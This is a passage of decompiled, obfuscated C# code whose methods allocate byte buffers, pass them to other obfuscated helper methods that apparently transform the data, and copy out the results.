obj1, [In] uint obj2) { byte[] numArray1 = new byte[(IntPtr) (obj2 + 36000U)]; uint length = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.YPoCMoGHZ(obj0, obj1, numArray1, obj2); byte[] numArray2 = new byte[(IntPtr) length]; for (uint index = 0; index < length; ++index) numArray2[(IntPtr) index] = numArray1[(IntPtr) index]; return numArray2; } [MethodImpl(MethodImplOptions.NoInlining)] public static byte[] \u0039fUblSrWA([In] byte[] obj0, [In] uint obj1) { uint length = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0034J3iGuO2D(obj0, obj1); byte[] numArray = (byte[]) null; if (length != 0U) { numArray = new byte[(IntPtr) length]; int num = (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.oEv1kgedQ(obj0, obj1, numArray); } return numArray; } [MethodImpl(MethodImplOptions.NoInlining)] public P65q5rcw0MukklQaVB() { qriSERnLWqCHHxhiWL.mQJJcrKz2UjcR(); // ISSUE: explicit constructor call base.\u002Ector(); } } } }